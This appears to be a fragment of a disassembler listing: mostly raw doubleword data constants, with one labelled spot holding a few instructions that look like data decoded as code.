		dd 93D0A2BFh, 0A0611872h, 7B7CB9B3h, 0F8775AD5h, 0F368E01Dh
		dd 62319679h, 5D09A884h, 5962882h, 0C34880FEh, 36528B3Ah
		dd 1DC8073Bh, 0C26C82A2h, 0DF5955D7h, 0C1851048h, 1CED5F58h
		dd 6098F810h, 0A439C0DEh, 6E5CC35Bh, 71B5F478h,	3BA0E926h
		dd 7CB6A300h, 27E8B050h, 2B7D852Ch, 0A19F324Dh,	5E6E68A4h
		dd 687FCD6Bh, 0DAAEB4FEh, 5DD94AF0h, 907A7D61h,	0B51EB9Ch
		dd 93126B28h, 930BC1BBh, 0DAF0EB97h, 0EFC1013Ch, 0B61B3006h
		dd 80B7652Fh, 0A73257B4h, 0F1017F40h, 5D0881CAh, 0B623DFF7h
		dd 13FD8D40h, 90659963h, 10C5E950h, 6F2EE1A9h, 26B19B34h
		dd 6D81E26Fh, 800EFB11h, 9B419340h, 0D80DC20Dh,	29DE667Dh
		dd 5186FF7h, 0A3B0D3E9h, 7A9316E8h, 0F5C1F2CDh,	44E3F63Ah
		dd 3216ADAEh, 1AA2136h,	8A47DE92h, 0F188702Ch, 7E593D12h
		dd 0C2385FEAh, 4A0A43EAh, 48DD560h, 792E882Fh, 55F202BBh
		dd 1E202237h, 132DD047h, 2CE143E9h, 0B64AFAA2h,	0A6FF0574h
		dd 0ABEC4E77h, 39B13686h, 4ED38131h, 8C455359h,	60489DB8h
		dd 99D0C2C9h, 16F7C9Fh,	2A1E2CF6h, 4C843E42h, 4995D4EAh
		dd 0EED55BD8h, 978B77BDh, 0DD7AB17Eh, 0DE95D816h, 0FF394782h
		dd 2158151Ch, 0A575E9C2h, 9FC13677h, 849F444Ch,	8310E1BDh
		dd 0DB1B5972h, 7E3BC302h, 7EDC2E97h, 586008A0h,	371B170Eh
		dd 0B0E1950Dh, 5D280444h, 889D5061h, 2BD441E8h,	17176D1Fh
		dd 50189DE2h, 7B0C2E81h, 881A4227h, 58140722h, 881713C4h
		dd 0ACB761FAh, 0D2246395h, 3124CECAh, 0F8D442A9h, 0B464857Ch
		dd 0CB89D1FAh, 50371223h, 0F9F752A2h, 0AE26845Fh, 0FBE511B2h
		dd 9BA3F384h, 0BF32A014h
		dd 0F74A00D5h, 0BCE909D8h, 5BD67E66h, 88D903E9h, 3A2538A7h
		dd 1F7ABA98h, 0ADE3B99h, 160AC042h, 3A4F51Ah, 13BCBC02h
		dd 0E50CDDF7h, 0FEDC9C4h, 2BFC64B7h, 27C8E465h,	0DF1F73C6h
		dd 0DC590E2Dh, 10DBE863h, 62B8000Dh, 2D77F96Ch,	9408007Ch
		dd 25D0F71Fh, 991F2B0Ch, 3F5F4041h, 68EDEB02h, 5D9AF520h
		dd 0E916D816h, 7389D618h, 0C2F2F801h, 0E2EA8000h, 3E5A56F0h
		dd 0B48B89EDh, 4EFD8DC2h, 3F4E9D33h, 0E0383509h, 0E405D7Eh
		dd 5204370Fh, 6BC0E91Fh, 426A3BE5h, 39C4683Dh, 27FCC7Fh
		dd 0EF933ECh, 0C35898E9h, 2D4E049Dh, 4CB85FAFh,	0BB441827h
		dd 0F55DDF0Ch, 40B2C635h, 0B3975FA6h, 0A8084B49h, 0D143B12Bh
		dd 87C2BE05h, 16D25556h, 2FC835A0h, 0A21EAA27h,	861FE779h
		dd 10C0297h, 48461C94h,	2A15CDE9h, 0F129FD44h, 2EF932BEh
		dd 52148DF4h, 151801F0h, 1CBA743Ch, 72890BA5h, 0BB52F705h
		dd 2C3FCC9Dh, 3E92172Dh, 460EF9BFh, 801C1DA3h, 0F3CF4DC3h
		dd 0D0636968h, 31BB073Bh, 0A507D66Ch, 308AB078h, 7B34D377h
		dd 0BE0022D2h, 67B75155h, 29CA0581h, 834D341Dh,	0E5E1EAE7h
		dd 3D056008h, 0FAA2D18h, 304D5D18h, 120C5B9Ch, 0F528B9F3h
		dd 4E24A789h, 0BD45FB57h, 0E1085692h, 0D4FA6180h, 1B8EA84Eh
		dd 5C096CAFh, 0B33A33C7h, 89FBE2EDh, 9616C556h,	0EC9EC458h
		dd 0ABE210A9h, 9905AC2Dh, 0EBFDC2E4h, 0C1077A75h, 6ED8F164h
		dd 2AA9F9C1h, 20A8A912h, 0A858FAA3h, 3AE95A46h,	0BBA8E3B1h
		dd 6DC7139Dh, 113F8F2h,	91508CDh, 4BD98706h, 33829D06h
		dd 5804CE51h, 683EDCFFh, 0D327B524h, 62920694h,	715DEA8Eh
		dd 6C1349B2h, 4E228C42h, 0C85604BFh, 0DFDDFBF6h, 6C40716Eh
		dd 68C3836Fh, 0AC781354h, 0A3CBBBh, 7C6AB8F6h, 2F28926h
		dd 0E955505Eh, 0C79BAE9Dh, 0F4379CD3h, 750976CFh, 0F9FF2C66h
		dd 0BAED3407h, 0D1F64B9Fh, 1583839Ch, 38A1685Ah, 2F6382D1h
		dd 1F09B2CCh, 572FBB3Bh, 5D1C4E2Ah, 8DC226C9h, 0F0DCA083h
		dd 81D5D377h, 0D0011FADh, 0D4C2F6D2h, 9330F729h, 2A4B2D68h
		dd 17C8B58Ch, 0F41FFE41h, 27CBB86h, 0B8E9440Eh,	64FE17CCh
		dd 0EEBB1756h, 2482DA39h, 0C780FFB4h, 7234E7E0h, 948BED99h
		dd 0A5BFD3D7h, 569D38F8h, 4A5E720Eh, 887661C0h,	3F0DB80Bh
		dd 135C78F9h, 11DEC302h, 45C10FD4h, 45BA00B8h, 2D4A2710h
		dd 0A01C2075h, 0BFB759BEh, 0F90A0452h, 91465FE9h, 2D5EF080h
		dd 590A1E4Fh, 7A135315h, 0B88A90FFh, 4E5F1843h,	80D261F1h
		dd 0E1787293h, 4584C19Ah, 7B404A70h, 80001F5h, 0B14E21E9h
		dd 80020221h, 40F7A6F2h, 96CAFE71h, 51505850h, 0B8EECFA6h
		dd 33552A00h, 5E02057Ch, 56390E63h, 22C4FCBEh, 0BFB5BE6Ah
		dd 0F9154F41h, 1B13EC7Dh, 0C565AED6h, 4BC8EB01h, 43A357Eh
		dd 101F48D2h, 97EA8012h, 0B6E3C4Ah, 0A1E9C201h,	0BA388C72h
		dd 1E34162Eh, 5A674BBBh, 1655206Ah, 844F3042h, 5BA0B90Ah
		dd 310A6C09h, 862286CFh, 0FCEFAA7h, 8972974Dh, 8B89E9B2h
		dd 7F54E2B0h, 0A4F634E6h, 12A36E59h, 2EA22FF1h,	0B1B2FC92h
		dd 0DA6CE7E9h, 534F9F76h, 1FBC8F17h, 0C5D7A9B2h, 0D4880B2Ah
		dd 0F80DD705h, 54A74EB4h, 0D2E1B95Ah, 365739FAh, 5BB65C6Ah
		dd 0CEF522ECh, 1C8A44DAh, 0CA00DBAh, 0E23067E7h, 64B53C7Eh
		dd 30FB422h, 2F3E3618h,	0F49B6001h, 0F5892D7Dh,	93D8B3Eh
		dd 590123C1h, 18708920h, 0FC2D0ED3h, 0FE765879h, 2699F781h
		dd 1701DE5Dh, 0A2A840F4h, 20180E48h, 37C1E3BFh,	178F1B1Dh
		dd 0C98305BEh, 1BB3954h, 3ECA6264h, 0EAF2CF29h,	99FD0889h
		dd 1D6A2A6Dh, 5975F245h, 0E2288287h, 807D48CDh,	2FC9817Eh
		dd 0C270970Dh, 5AC9F85Dh, 6E42B0h, 5D5FEC3Bh, 6853C331h
		dd 2B42F724h, 2DBB5665h, 10AB7988h, 29481F9Dh, 0AD42C125h
		dd 330A2055h, 0BD1BE01Ch, 0BB0057C2h, 2207677Ah, 0E5A1015Ah
		dd 0E95F0800h, 0C81361BFh, 0CCA7E680h, 0ABF602F6h, 13766049h
		dd 27CC15BBh, 0B00B4CB6h, 0FC07BE5Ah, 7F2916E9h, 95D34692h
		dd 11524B0Eh, 9C1E2101h, 4D32936h, 495A0809h, 186C107Bh
		dd 813BB85Bh, 141C7FE8h, 8F5246F9h, 661F6188h, 0B1343C25h
		dd 6E4D1E15h, 8D656631h, 3E48CCC1h, 0E5209E87h,	9558E230h
		dd 0B38EF4FEh, 87DC0B29h, 51EB8820h, 17FCACB9h,	5A61DC3Dh
		dd 165F292Fh, 545625F1h, 0F5D20B56h, 0A29EBDC2h, 70B0F7CBh
		dd 0C62D05CDh, 626CD319h, 83C48FA2h, 85E95712h,	62ACDFC2h
		dd 0FA727748h, 8213D45Ah, 89A4F3F8h, 0E8B67F02h, 41F8B880h
		dd 530B6799h, 0A3C13FE9h, 2F20997h, 4114CAD8h, 4A4038F3h
		dd 5518227Bh, 0C21F012Dh, 0D6021D39h, 3084BC57h, 0A1052A94h
		dd 63B12A4Bh, 1702F62Ah, 9466CE2Eh, 0B43F90A8h,	0DD615290h
		dd 8FD4282Eh, 0DC53295Eh, 0B5967DFh, 0A3123982h, 6425BA00h
		dd 3D6B0C2h, 0D85675EAh, 0B19BE928h, 0B9F3EA84h, 61B3B74Eh
		dd 514422CAh, 54A66A20h, 3CF7834Fh, 56AF93D0h, 0DBE7DF48h
		dd 18DF1A16h, 94486B40h, 5FFA31B9h, 59FFD5Fh, 1E883221h
		dd 8805E982h, 3902A007h, 4311EB71h, 165DD912h, 59E5D671h
		dd 65F55F81h, 25572151h, 0A8ADFBE0h, 7D9976DBh,	2F33CC2h
		dd 6C3F888h, 0A3B7C6A3h, 0D8D2585Ah, 96567A41h,	3DADC75Dh
		dd 0D9F1BF7Fh, 0D88AE9E2h, 5455256Eh, 0D376CF7Ch, 95E2B341h
		dd 0E9EAC189h, 0DA50FC5Ch, 0E5CD881Dh, 0D74575F2h, 405BE989h
		dd 27685FE0h, 38D66B15h, 9F665E51h, 28172C07h, 0AB96CED8h
		dd 9EFF8513h, 25644C4Ch, 3CE5263h, 0F7EAD107h, 7EEA4AD2h
		dd 0E601F6F9h, 5E4F2A2Fh, 4A9EF27Fh, 922DE7B7h,	0AB5B9F84h
		dd 680CC8F3h, 86D33F61h, 72316540h, 891F1CDh, 3E084587h
		dd 0D27E83E2h, 0F1FC0921h, 0CF09A7Dh, 278057A4h, 16D52DEEh
		dd 31F3012h, 1C49CAFBh,	9122A724h, 2837EB02h, 2DF2DCFAh
		dd 680485F3h, 0D8AB321Fh, 255BFFB8h, 5417898Ah,	0D1427159h
		dd 5FC8775Ah, 0FFE23D84h, 0F9DB22C5h, 0FBED4A3Ch, 0DCEB800Fh
		dd 7E6328CBh, 68BE624Ah, 0EB4F700Fh, 9F82F598h,	4E5D278Bh
		dd 0A00EB43Ah, 43025080h, 0BB63409Eh, 0B511702h, 822D6874h
		dd 49EAE0Fh, 2CB8AD58h,	48B85525h, 662E0234h, 0DA422868h
		dd 6290EEA5h, 7BF03F6Fh, 80C7FE00h, 904970EFh, 2CF5E1D6h
		dd 795A66D4h, 0ED681728h, 0B276300Fh, 0E239C027h, 3EA9608h
		dd 99E5B8F0h, 6C688580h, 6167AB07h, 18DC48A0h, 94050558h
		dd 0AB168E34h, 0E1E93602h, 452751E0h, 0E59C31E2h, 0EDBC3BF9h
		dd 0F6BA8BDEh, 16B89FC4h, 17824DB7h, 5AB8C0D4h,	0A10BB151h
		dd 8DF5F180h, 520DD05h,	9A3A146Fh, 0F020A433h, 0B1250D98h
		dd 4309F20Ah, 0E4125037h, 70226D4h, 799655FDh, 0A84E23B2h
		dd 6642EACBh, 5B2ED5FFh, 0D109C888h, 2BC80E0h, 0FA613CFCh
		dd 389C6B77h, 0F736605Fh, 89799FC7h, 791CBB43h,	0E9D916D5h
		dd 0A032BC9Bh, 0CE665A68h, 0EB535FF9h, 0ADECCF25h, 0DAF465DDh
		dd 46E7D75Ah, 0D52F0922h, 0EB8E545Ah, 2042D65Ch, 0CA10DDD3h
		dd 848E7C1h, 0C8192F8Ah, 0B7DCA4A0h, 0E9A03279h, 49685817h
		dd 0E03460BBh, 0EAB08F79h, 201EBD00h, 5045612Fh, 1C7E16B8h
		dd 0FA6212C3h, 3ECD9107h, 1EB03F44h, 0C1272FCCh, 0E300D3F6h
		dd 9EB0B6Ah, 9E5D50E9h,	0A7422AD3h, 23780097h, 0EBC11A38h
		dd 0C225E902h, 0C5246BEAh, 0B47EDAE5h, 0C7AB3098h, 0B2E3EF5Fh
		dd 0D018FE96h, 9C11854Ch
		dd 206D821Eh, 8AFEED31h, 1E01A526h, 89A8A4D3h, 1F01A445h
		dd 5980151h, 4A9E52Eh, 7C3CCB08h, 0E422F960h, 0A91EAB19h
		dd 0E42C5FA4h, 0E9855F59h, 8D17D599h, 2A60E961h, 53E3A14h
		dd 28E319EBh, 3E1FAB00h, 4D3144C2h, 8790B9C6h, 0B9D0012Dh
		dd 729D2116h, 4EFA01FBh, 0C25216E9h, 28606256h,	23B7E2Ch
		dd 0E955DFF7h, 20DF5FD6h, 1317621Dh, 1A35BE45h,	83C10F66h
		dd 8F3379C1h, 92A3F357h, 407DBA10h, 2A1E1DDBh, 0FACC461Fh
		dd 39501662h, 264CF088h, 25C87D75h, 1451E6A0h, 7B3CCE6Ah
		dd 3A02F09Fh, 20DA1828h, 0C021AB30h, 91D11F50h,	54454300h
		dd 0B1D712Dh, 0E829145Ch, 5D010705h, 0FDED9035h, 0D8097FB4h
		dd 1283DC01h, 0B50BFA4Fh, 5600DF47h, 2DC00A9Dh,	0B22CA07Dh
		dd 58108D06h, 30CEA5Ah,	3CD2063Ch, 0CA02DAF6h, 9093E913h
		dd 0C04CFC69h, 317F6812h, 0F2815B00h, 409A20ADh, 5AD32C21h
		dd 0BE4314C6h, 7F5D3903h, 7A054F4Bh, 6E286C8Ah,	4605B9B9h
		dd 0E886D096h, 0D652166Dh, 17CF7ACCh, 119A371h,	6FEA3DC6h
		dd 0A6B74033h, 6C5AC56Bh, 81F10ABh, 27A75F24h, 1069BF2h
		dd 0E517E9DAh, 4FD77755h, 565600C1h, 1E087768h,	365E1F30h
		dd 2D716278h, 2C575248h, 19B9A293h, 0CC73FB6Ah,	829FC571h
		dd 835413CBh, 0F8E07526h, 7B78D705h, 2D1476DEh,	5E097C07h
		dd 55291C1Dh, 609D686Ch, 82CB370Dh, 0B3028950h,	89344D76h
		dd 0EFA641F1h, 3D0B3E36h, 0EE00FA11h, 3440FE1h,	0EBA7748h
		dd 0F9316370h, 3A8FF0Ch, 6A8B02DFh, 0CD891BD2h,	310EB870h
		dd 846BBA5Ch, 1EA5EF5h,	0E4532677h, 69927AFAh, 0B82E0CF3h
		dd 64295130h, 47F23E6h,	48E93B80h, 774909F6h, 2218C760h
		dd 6840B105h, 0A5D86057h, 0F4BA414Dh, 0E5136396h, 0F9165828h
		dd 0C144E8C0h, 0E92F0BF7h, 0A2798936h, 3B6BF183h, 0D067E965h
		dd 4A80B33Fh, 0D901FCF8h, 0BF28E161h, 6FF6CCE6h, 0DF06314Eh
		dd 625866E7h, 52110C1Ah, 0C5C73BE3h, 0A1CAC103h, 0DC59029Dh
		dd 70888940h, 0C11F5FCEh, 119603E2h, 309DA55Ch,	25A47ADFh
		dd 9F89CD9Fh, 0BD9C5FDAh, 0C2DD5A0h, 0C114DA01h, 95E907EDh
		dd 0EA4C402Eh, 73D03DF9h, 1C09DBFDh, 570106CAh,	4881DA9Ah
		dd 202F67A2h, 0D36C7ECDh, 2F68A279h, 0C7466454h, 7015602h
		dd 0F0CCE977h, 0F32D05CBh, 0AF45D23Eh, 5B39B4D8h, 4A9DB3B8h
		dd 93FE405h, 9CC0C6h, 5FB32B52h, 61E9D689h, 0C243EB9Dh
		dd 893A9B4Eh, 0B340425Ch, 50344784h, 3BA0CD50h,	0EC4A6207h
		dd 0B6E612DEh, 0E20402FDh, 8063D232h, 2DCD2274h, 0EAB19C5Fh
		dd 2F6BD93Bh, 542288A0h, 0CF2A65Ch, 1F43512Bh, 46180E0Ch
		dd 3CB81D6Dh, 0AAF9B886h, 164AFDEDh, 0C588A5C0h, 44CC99Dh
		dd 896DE101h, 775DEEC1h, 0B85A7949h, 8BA15E9Ch,	95CA68F0h
		dd 3FB0EED2h, 1670DD82h, 8C6F197h, 5F13C376h, 123152AEh
		dd 2BD9E5D5h, 9A13B1E2h, 3468FE21h, 2E3E30E9h, 75E8F5E5h
		dd 0D16BEB0Fh, 5F811CEDh, 8935FDB2h, 7BFAA441h,	165BCE6Bh
		dd 0BFF794F5h, 110BBD5Eh, 0B25C2A1Eh, 0BE664203h, 0A0F15A63h
		dd 4E438870h, 41762535h, 0EC5C996h, 59278FBFh, 0E90D042Ah
		dd 15D19E78h, 7FCD7DFDh, 9D74DBE8h, 0A6241579h,	0F5E47909h
		dd 5F2AA094h, 5398C039h, 5C400B58h, 0F8680285h,	41489441h
		dd 5D69FF04h, 0EF6C902h, 1E606519h, 532D2F35h, 2DD6C26h
		dd 748001B3h, 0AD40E8C1h, 6092FDB1h, 19053E25h,	406BF992h
		dd 5E29C50Eh, 589FC886h, 0B43D4BA9h, 1132C383h,	75080858h
		dd 1B6ECC22h, 0CD360009h, 513001DCh, 6E418278h,	0DF403F2Eh
		dd 0F9A704D3h, 62A07021h, 0BB5E4A08h, 0B73F4D06h, 0FD4F281h
		dd 291AE023h, 3754A98h,	244E83Fh, 712B04CEh, 0AFC2604Dh
		dd 0F892796Bh, 8F101F6h, 0B5E91E70h, 0D0D352F2h, 5996761h
		dd 57C22A82h, 5F9809DAh, 23CAA0Bh, 0EEA70017h, 7D5A9533h
		dd 0C0584F50h, 0DDF75F96h, 0DCC0D5E4h, 7AA97441h, 0C616D94Dh
		dd 7BBFE4DAh, 84D54297h, 85A85228h, 351278C0h, 0FD30E93Eh
		dd 1CC3DF21h, 34972E7Ah, 7FE9C2DFh, 82908E70h, 0B3207290h
		dd 500092FDh, 0BB30C450h, 63C88FE3h, 2CC03C4Ch,	62173E18h
		dd 255E100Ch, 967D61B8h, 9553BFEDh, 56730503h, 0CC38044Eh
		dd 0C4267C18h, 0B8CF9074h, 0C52541A1h, 8C62E008h, 79500118h
		dd 141B7735h, 26B06B1Ah, 2DFCE8B8h, 610194FBh, 92D219E9h
		dd 88AA5C6Eh, 949CB507h, 5A015712h, 12737641h, 345A5830h
		dd 0F1143BDh, 0D1E00EAEh, 0E9FD297Ch, 0B530259h, 575BD901h
		dd 2A03196h, 0BB2F6CC0h, 279FFE49h, 870A22DAh, 0BE4BBF5Fh
		dd 0E5042A03h, 3BF3B06Ch, 20EB2F03h, 360C44F2h,	1C4DC66Dh
		dd 862C18ABh, 5CD40CAEh, 0ED60FD2Eh, 0C27D76AFh, 0E562A36h
		dd 0F6E46EEFh, 8D201F9h, 290E9EE1h, 0B5BFE4DFh,	673F61CFh
		dd 0E1B4344Ah, 26606B91h, 387E1649h, 0DAE04372h, 3736E5CBh
		dd 0E9156079h, 4F977873h, 12D7A1E0h, 0A306B168h, 0D82FD7h
		dd 91055972h, 48642729h, 0C72D3F45h, 0B147B4CFh, 16B57981h
		dd 1A94B09h, 0BD52DCD2h, 0D5D3009h, 3E0B8279h, 0D1DDC066h
		dd 594EB6E5h, 49D72ED3h, 0E02F9060h, 8F6B83Dh, 4A035385h
		dd 50103838h, 0B0EEC8F7h, 40BEEC5Bh, 6CD8C516h,	99FACC31h
		dd 5EB3C097h, 0EBB80050h, 0D6F1C34h, 0D07E3A2Eh, 0AD60E914h
		dd 0F68E0C9h, 3093CB3Eh, 6A5215Ch, 0F40AFB02h, 0E9055BB3h
		dd 0C02E0796h, 736E04E3h, 0A5C3BF02h, 2C1E4030h, 0D7E92FEDh
		dd 0DF56B6A9h, 0E5392F69h, 0CBBAF12Ah, 0BCE84BDCh, 0D441FBD2h
		dd 57A26853h, 56026A66h, 5A764C37h, 15A40E7Eh, 0F9019202h
		dd 4349E016h, 2C8D2603h, 11F02F6Ch, 20654548h, 0FF5F163Fh
		dd 0C84C3377h, 9FDA194Ah, 0E1B61861h, 719170F6h, 1741885Eh
		dd 6ED99FCAh, 0DDA0DDECh, 0B370A717h, 0BD2171h,	0F1DF219h
		dd 685B8AAh, 0C26FA2EAh, 10C0BE74h, 0DE18D173h,	0B7E59F29h
		dd 22E302BBh, 0E176BB6Dh, 178127AFh, 4C419CC1h,	58C99674h
		dd 1F1052A6h, 0D85B27DBh, 2C314C4Bh, 94CCAC4Bh,	24C45E90h
		dd 2C441E8h, 98B201BFh
; ---------------------------------------------------------------------------


loc_4F0044:				; DATA XREF: ___:00437A34o
		inc	dl
		leave
		retf	0D5EDh
; ---------------------------------------------------------------------------
		dw 0A2Fh
		dd 588C5E62h, 3B13BBBAh, 48F219A6h, 11477C2h, 7283C40Eh
		dd 0A7133FC5h, 17EF8FAAh, 4F57F7E9h, 29213E8Ch,	0ED91C4Fh
		dd 0E6DDC97Ch, 0BE7F2DFDh, 0A75E97B1h, 7F48001h, 0E028E320h
		dd 0E9C3FEA0h, 7208742Dh, 0F8EB0151h, 295B4A3Bh, 0F5086AFBh
		dd 8A0114F7h, 419A432Eh, 0FF1149EFh, 0D2F7D69Fh, 997D0882h
		dd 6E112985h, 0B0648010h, 0F6C8FE80h, 0AE04DDD0h, 90490836h
		dd 53C1080Ah, 0E9D9F6E0h, 1C80B5A7h, 0B4189ABFh, 0EA053598h
		dd 0D6E7E77h, 61B78401h, 0D46F6891h, 1C081A58h,	1A72140Bh
		dd 0FEED1820h, 3E38FB29h, 466BC9C1h, 9DDE4038h,	29608D04h
		dd 6235E1D2h, 5C317C0Fh, 0C47EE65Dh, 0C34AD818h, 0FDE50167h
		dd 0C29A2D1Eh, 0A4EE7DB1h, 5ECA0444h, 5B738BBDh, 666D9729h
		dd 0DB801048h, 0C6F4850Fh, 0A024D3h, 0B1B934h, 4B2DC5F3h
		dd 0CDB06847h, 3A0F47A9h, 0EFBBEE00h, 0B044CD4Fh, 2E659779h
		dd 3DC76884h, 423839BFh, 0B60239C3h, 0D69A4112h, 1634BD00h
		dd 0B9217D01h, 364B3E7Bh, 5DA9256h, 2EDE08BBh, 9CE20629h
		dd 8798AB2Fh, 0C926312h, 0E081A8B8h, 2B079B6Dh,	0E24BFDE8h
		dd 0B1E9C272h, 886BFC0Bh, 0C2825905h, 40C0080Ah, 51EA33h
		dd 0ED3E31B9h, 2E1C130h, 0BB624160h, 0CFB2F4F0h, 0A544A730h
		dd 40E6B918h, 0E9175908h, 4A900B55h, 5AA457C7h,	72FBB002h
		dd 665E309Ah, 0B4A11BE9h, 0C7287E8Dh, 0CD645E9Ah, 4207E491h
		dd 0B8EE29C0h, 5DEB71B9h, 0C0C43956h, 2CF6FFE1h, 0C3685001h
		dd 604F457Fh, 7941BC2Dh, 952C55ECh, 13C0E09Bh, 0E91B6680h
		dd 0DC258AD2h, 0AD6E66A1h, 0F91AF406h, 5980037h, 981F403Ch
		dd 0F0EA0687h, 1A436C50h, 1709F23Ch, 0F71F21F8h, 2F43F7DDh
		dd 0DA317632h, 1829DC5Fh, 9FBBC8DFh, 54263F13h,	407DA7ACh
		dd 0C5BF5F1Eh, 1C0E8019h, 0DCE9728Eh, 0FD2F89BFh, 0BC27D018h
		dd 9D5D5480h, 0E9E10079h, 1787193Bh, 816A3CEBh,	61F30161h
		dd 0AF0814D2h, 0B219DF04h, 0BCD7F705h, 0EC15C6Dh, 0DE6CA051h
		dd 2DCED540h, 4BF6E9B4h, 0D86BF9FDh, 2703AD54h,	905F4851h
		dd 12C529EDh, 2831D6E9h, 1C2D880Ch, 62AEF187h, 71DFBBB8h
		dd 1804A73Dh, 0BF0E805h, 3E3C1h, 0C3154E94h, 3A199416h
		dd 222D6C85h, 9881AF2Eh, 3B58CD5Fh, 40E72568h, 0A04A0AD3h
		dd 9007A100h, 6408E96Fh, 546E95D0h, 1B270BA6h, 828E7705h
		dd 1F666382h, 2B5012C1h, 0F54D0C0h, 0E9091260h,	0DA844Ch
		dd 80A691A0h, 0FE502187h, 846FC6FAh, 0F201A452h, 0D295A6BFh
		dd 8F5BA3ACh, 24E0492Dh, 20389BB5h, 0AEBD07C0h,	0A5774829h
		dd 9F60BAF8h, 9401B668h, 0D796629Dh, 0C113B2F7h, 57C2D917h
		dd 21EB64F1h, 0CA09E922h, 210D223Eh, 0ACD0C5D7h, 0A02E4CEFh
		dd 64EF3D9Eh, 99F45022h, 2F77BE95h, 0C80B209h, 383F451Bh
		dd 1BBC425Ah, 1544B574h, 0E91F0462h, 3487048h, 5846852h
		dd 6D96CCEh, 0DE113913h, 92D6B6D7h, 8DB00F7Ch, 0C8E950ABh
		dd 0B9B04h, 7B932558h, 35470FEDh, 71C91B01h, 0B1C73BE3h
		dd 0F4221A0Eh, 26127DC4h, 29B0312Fh, 0C0BB92A6h, 1CC4052Bh
		dd 0F2FB2316h, 13DE1DCh, 65140267h, 0A1FC900Dh,	0B3C9038h
		dd 41345D7Bh, 0D0BF6EF0h, 65FD0EB1h, 0A8A02977h, 90CCA38h
		dd 0E53E0795h, 4A593901h, 0B6850429h, 0D7DFF83Bh, 2D0231A9h
		dd 3C9129E2h, 7C088FFh,	68575B01h, 8E3647A9h, 0B6055F8Bh
		dd 7DDFF18Eh, 0CECA10ADh, 4026543Fh, 15E85FCh, 30AB01D9h
		dd 2A367C6Fh, 0E18BEDA9h, 932D53FCh, 27D9C862h,	0E94816B9h
		dd 25BAACC4h, 94CB1658h, 283C02B7h, 627D7AAAh, 3AEC774Ah
		dd 364E7E04h, 44EF5927h, 16E53E3Dh, 4138F142h, 0DF8A49B9h
		dd 0C7011989h, 0BAACCE55h, 0D2F0176h, 0CA814629h, 7A19D9D6h
		dd 11EAC82h, 0A880CB28h, 0AA2C5D58h, 3409E2Dh, 2D09307Ch
		dd 0DC18E801h, 9E3DBB53h, 21AD12h, 347C05E2h, 104462A0h
		dd 0B0F0A9E9h, 52B8DEFEh, 97CAF607h, 68E2BDC1h,	0A5B800D4h
		dd 514B5A23h, 3D31EEE1h, 410A81E3h, 529BCD2Fh, 1CC408D5h
		dd 9DB90B20h, 0C743E641h, 0F4CDAC02h, 0D7316E80h, 75D0204h
		dd 9D74D1F6h, 0AAEC15D4h, 41FA1118h, 0E39F5BDAh, 5AE47011h
		dd 93C1A056h, 67991726h, 853CF10Bh, 4FE1F8Bh, 207CDB0h
		dd 7420C4B7h, 85B203CDh, 0CF99504h, 0C42B7CFBh,	8213C173h
		dd 9E08C0BCh, 3F31D807h, 165B0117h, 0C15B5E1Eh,	6834A6E3h
		dd 0D7FD932Ch, 2498984h, 0AB673268h, 30F1403Ah,	0EB2285Ah
		dd 7C350BDh, 9BFB34E9h,	62498085h, 2BA7321h, 1EE1B180h
		dd 33D38924h, 992D6480h, 0C0DF31FBh, 6020F748h,	0DB9D1C96h
		dd 0D7862013h, 0BE70EF54h, 0B5E2685Ah, 0EF5F3D8Bh, 0E95C8250h
		dd 65DDB22Ah, 542D3ED2h, 56B905h, 0F377829Eh, 0DE7E890Ah
		dd 0B1AA8C79h, 2F7195DDh, 0E9E2C154h, 1CE8FF16h, 6E126CBDh
		dd 98B1366h, 4C0D8410h,	8CEBB40Ah, 0BB32E9E1h, 57FA3926h
		dd 3831BC19h, 0FB2C4A92h, 0DCEF31E9h, 0CAD68786h, 46987FEh
		dd 3EDBEECh, 8599607h, 6D9C9F3h, 0C1BBB542h, 3A75EED5h
		dd 90407D38h, 0B9F0C007h, 22677B1Ch, 1562ECF4h,	0CB7667Bh
		dd 652CA7C6h, 0C60048ABh, 66B7164h, 35D231E9h, 2C91F181h
		dd 0E8D816E5h, 0AC6F3BB3h, 1053C62h, 242B5FEh, 6232F470h
		dd 0A50F9328h, 0DC986F6Eh, 0BB1B4022h, 0EB3D4509h, 45A77F0Bh
		dd 53D1E2E4h, 0F026EBDDh, 4E20D93Ch, 0D6DA0C5h,	0D40F351Eh
		dd 3B98E944h, 0E4162514h, 0B72FA8DAh, 140C12D3h, 9360EDD1h
		dd 0C3FE3479h, 2414F404h, 0E1DB0381h, 992E082Fh, 2E3A840Bh
		dd 28ABEF88h, 0E73ED05Ah, 80029DC0h, 0CFFEA841h, 0C7DCD7F6h
		dd 730404BAh, 0BBDAF9E9h, 0E62AC1E5h, 0F8522E63h, 5720F31Ah
		dd 0EA0907C0h, 645B78F4h, 0E9010395h, 610856B7h, 7C5C8940h
		dd 3A445C71h, 38D5DC25h, 0E0ACB6AEh, 4E2790F0h,	2F23E860h
		dd 0A7B5EF5Eh, 60258B16h, 25932045h, 0BD12BF6Eh, 575E4B60h
		dd 449C5898h, 0AF22752Dh, 0BF03B636h, 4B73F1BBh, 0D6A7453Fh
		dd 0EA3C745Ah, 42B82A44h, 0A79D63E2h, 0FDA1905Dh, 2C31094Eh
		dd 0AF85DAF7h, 2C91CA03h, 6D89FA54h, 0CE475CEh,	0ABB6C14Ah
		dd 2376BE92h, 0D0CF8A93h, 2BF49DF8h, 55DCF562h,	0F81F817Bh
		dd 54F01816h, 0B0C27288h, 0E1C54E42h, 1FF82EF5h, 742949B1h
		dd 4CBD5D44h, 25A9321Eh, 62D58F0Bh, 9A3CD59Bh, 539D1CE8h
		dd 1E4AAFCCh, 97F93082h, 1371E577h, 848B5338h, 0B7B001F8h
		dd 0F87A167Dh, 659DD781h, 784604CAh, 54B1EA1Ch,	9FC00704h
		dd 40031FF6h, 1B7D7F6Eh, 0B3E93B5Fh, 6C3A1507h,	1D41570Bh
		dd 0F3D6F54Ah, 9D6DDDAh, 0C708549h, 0DB9731BEh,	3C843279h
		dd 509025FFh, 0CBC5B42Eh, 913794D8h, 6F60B1BCh,	0D403C52Dh
		dd 710F5C80h, 4D1FCFFBh, 21CDA36Ah, 0AD982A25h,	0C0B80BB0h
		dd 897708E0h, 0F014020Ch, 9818E388h, 72045AD5h,	13487012h
		dd 0A03FE9E8h, 0BC04BEB0h, 29267E10h, 9F50F0ABh, 7D75B52Dh
		dd 0E95DC900h, 0A491FC51h, 163BBF00h, 0BC781B6h, 36115B46h
		dd 0CFE688h, 3F350953h,	0A227E945h, 9D9AD5C8h, 0BDF7A84h
